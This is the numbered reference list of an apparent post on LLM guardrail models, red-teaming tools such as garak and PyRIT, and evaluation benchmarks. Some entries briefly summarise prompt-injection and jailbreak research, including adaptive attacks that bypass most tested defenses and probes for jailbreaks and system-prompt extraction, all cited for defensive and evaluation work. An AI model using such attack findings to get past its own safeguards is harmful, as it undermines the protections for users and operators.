  1. OWASP GenAI Security Project, OWASP GenAI LLM Top 10 2026 (published August 4, 2026; source repo) — LLM01 Prompt Injection through LLM10 Improper Output Handling; LLM08 Hidden Context Exposure covers system-prompt and tool-schema leakage. ↩

  2. Meta, Llama Guard 4 12B model card — 12B dense, pruned from Llama 4 Scout; categories S1–S14; output filtering on in-house test set: English recall 69% / FPR 11%, multilingual recall 43% / FPR 3%. ↩↩↩

  3. Meta, Llama Prompt Guard 2 86M model card — 86M (mDeBERTa) and 22M variants; 512-token context; English recall @1% FPR 97.5% (86M), 88.7% (22M); A100 latency 92.4 ms / 19.3 ms; lists adaptive attacks as a limitation. ↩↩↩↩

  4. Qwen Team, Qwen3Guard Technical Report, 2025 — Generative and Stream variants at 0.6B, 4B, 8B; tri-class safe/controversial/unsafe; up to 119 languages and dialects; Apache 2.0. ↩↩

  5. OpenAI, gpt-oss-safeguard-20b model card — 21B total / 3.6B active, fits 16 GB VRAM; 120B sibling ~117B / 5.1B active; Apache 2.0; policy supplied at inference. Released 2025-10-29 per OpenAI's announcement. ↩

  6. NVIDIA, NeMo Guardrails releases — v0.24.1 published 2026-09-16. ↩

  7. NVIDIA, NeMo Guardrails documentation — input, retrieval, dialog, execution, and output rails; nemoguardrails server --config ./config --port 8000 exposes /v1/chat/completions. ↩↩

  8. NVIDIA, NeMo Guardrails: Llama Guard integration — type: llama_guard model entry and llama guard check input / llama guard check output flows; example uses meta-llama/LlamaGuard-7b. ↩↩

  9. NVIDIA, NeMo Guardrails: Content Safety — content safety check input $model=... flows; supports Llama Guard 3, ShieldGemma, Nemotron Content Safety, and reasoning guards such as gpt-oss-safeguard; prompts defined in prompts.yml with an output parser (e.g. is_content_safe). ↩

  10. Guardrails AI, releases — v0.11.0 published 2026-08-14. ↩

  11. Meta, PurpleLlama repository — contains Llama-Guard through Llama-Guard4, Llama-Prompt-Guard-2, LlamaFirewall, CodeShield, CybersecurityBenchmarks. ↩

  12. Greshake et al., Not what you've signed up for: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection, 2023 — demonstrated against Bing's GPT-4-powered Chat and code-completion engines. ↩

  13. Nasr et al., The Attacker Moves Second: Stronger Adaptive Attacks Bypass Defenses against LLM Jailbreaks and Prompt Injections, 2025 — bypasses 12 recent defenses with attack success rate above 90% for most. ↩

  14. Simon Willison, The lethal trifecta for AI agents, 2025-06-16 — private data + untrusted content + external communication. ↩

  15. Meta AI, Agents Rule of Two: A Practical Approach to AI Agent Security, 2025-10-31 — no more than two of [A] untrustworthy inputs, [B] sensitive systems or private data, [C] change state or communicate externally. ↩

  16. Debenedetti et al., Defeating Prompt Injections by Design, 2025 — CaMeL solves 77% of AgentDojo tasks with provable security vs 84% for an undefended system. ↩

  17. NVIDIA, garak releases — v0.17.1 published 2026-10-16. ↩

  18. NVIDIA, garak README — python3 -m garak --target_type huggingface --target_name <model> --spec probes.<module>; --list_probes. ↩

  19. NVIDIA, garak probes directory — includes promptinject, latentinjection, dan, encoding, leakreplay, sysprompt_extraction, web_injection. ↩

  20. Microsoft, PyRIT releases — v1.1.0 published 2026-09-04. ↩

  21. promptfoo, releases — 0.125.1 published 2026-10-25. ↩

  22. Phan et al., Humanity's Last Exam, 2025 — 2,500 questions across dozens of subjects; notes LLMs exceed 90% on popular benchmarks like MMLU. ↩↩

  23. Hendrycks et al., MMLU dataset (cais/mmlu) — test split 14,042 questions. ↩

  24. TIGER-Lab, MMLU-Pro dataset — test split 12,032 questions. ↩

  25. Rein et al., GPQA: A Graduate-Level Google-Proof Q&A Benchmark, 2023 — Extended 546, Main 448, Diamond 198 questions. ↩

  26. Princeton NLP / OpenAI, SWE-bench Verified dataset — test split 500 instances. ↩

  27. MathArena, AIME 2025 dataset — 30 problems (AIME I and II). ↩

  28. Google, IFEval dataset — 541 prompts. ↩

  29. SCB 10X / Typhoon, ThaiExam dataset card — ONET 167, IC 100, TGAT 70, TPAT-1 121, A-Level 132 questions; 5-example train split per exam for 5-shot; v1.0 current, v0.1 matched the Typhoon report; integrated into HELM by Stanford CRFM. ↩↩↩

  30. Stanford CRFM, HELM ThaiExam scenario and run spec — exams onet, ic, tgat, tpat1, a_level; pins v1.0 revision; 5-shot multiple choice, exact-match metric. ↩

  31. Stanford CRFM, HELM README quick start — helm-run --run-entries … --suite … --max-eval-instances …, helm-summarize, helm-server; release v0.5.16 (2026-04-30). ↩

  32. Susanto et al., SEA-HELM: Southeast Asian Holistic Evaluation of Language Models, 2025 — five pillars; Filipino, Indonesian, Tamil, Thai, Vietnamese; random-baseline normalization; integrated with HELM; leaderboard at leaderboard.sea-lion.ai. ↩

  33. Zhang et al., A Careful Examination of Large Language Model Performance on Grade School Arithmetic, 2024 — GSM1k; accuracy drops up to 8%; Spearman r² = 0.36 between GSM8k generation likelihood and the performance gap. ↩

  34. White et al., LiveBench: A Challenging, Contamination-Limited LLM Benchmark, 2024 — questions added and updated monthly; scored against objective ground truth. ↩

  35. Shi et al., Detecting Pretraining Data from Large Language Models, 2023 — Min-K% Prob membership detection without access to the pretraining corpus. ↩

  36. EleutherAI, lm-evaluation-harness — v0.4.13 (2026-08-31); vLLM backend via --model vllm; served models via local-completions / local-chat-completions. ↩↩

  37. EleutherAI, lm-evaluation-harness task configs — xnli_th, xquad_th, xcopa_th, belebele_tha_Thai, mgsm_native_cot_th. ↩

  38. Zheng et al., Judging LLM-as-a-Judge with MT-Bench and Chatbot Arena, NeurIPS 2023 — position, verbosity, self-enhancement biases and limited reasoning; GPT-4 judges exceed 80% agreement with humans, matching human–human agreement. ↩

  39. Dubois et al., Length-Controlled AlpacaEval: A Simple Way to Debias Automatic Evaluators, 2024 — Spearman correlation with Chatbot Arena rises from 0.94 to 0.98. ↩

  40. Evan Miller, Adding Error Bars to Evals: A Statistical Approach to Language Model Evaluations, 2024 — recommends CLT standard errors, clustered standard errors, resampling to reduce variance, question-level paired differences, and power analysis; with correlation 0.5, paired differences reduce estimator variance by 1/3 in relative terms. ↩↩↩

Discussion

Have thoughts on this post? Share them below — questions, corrections, or your own experience are all welcome.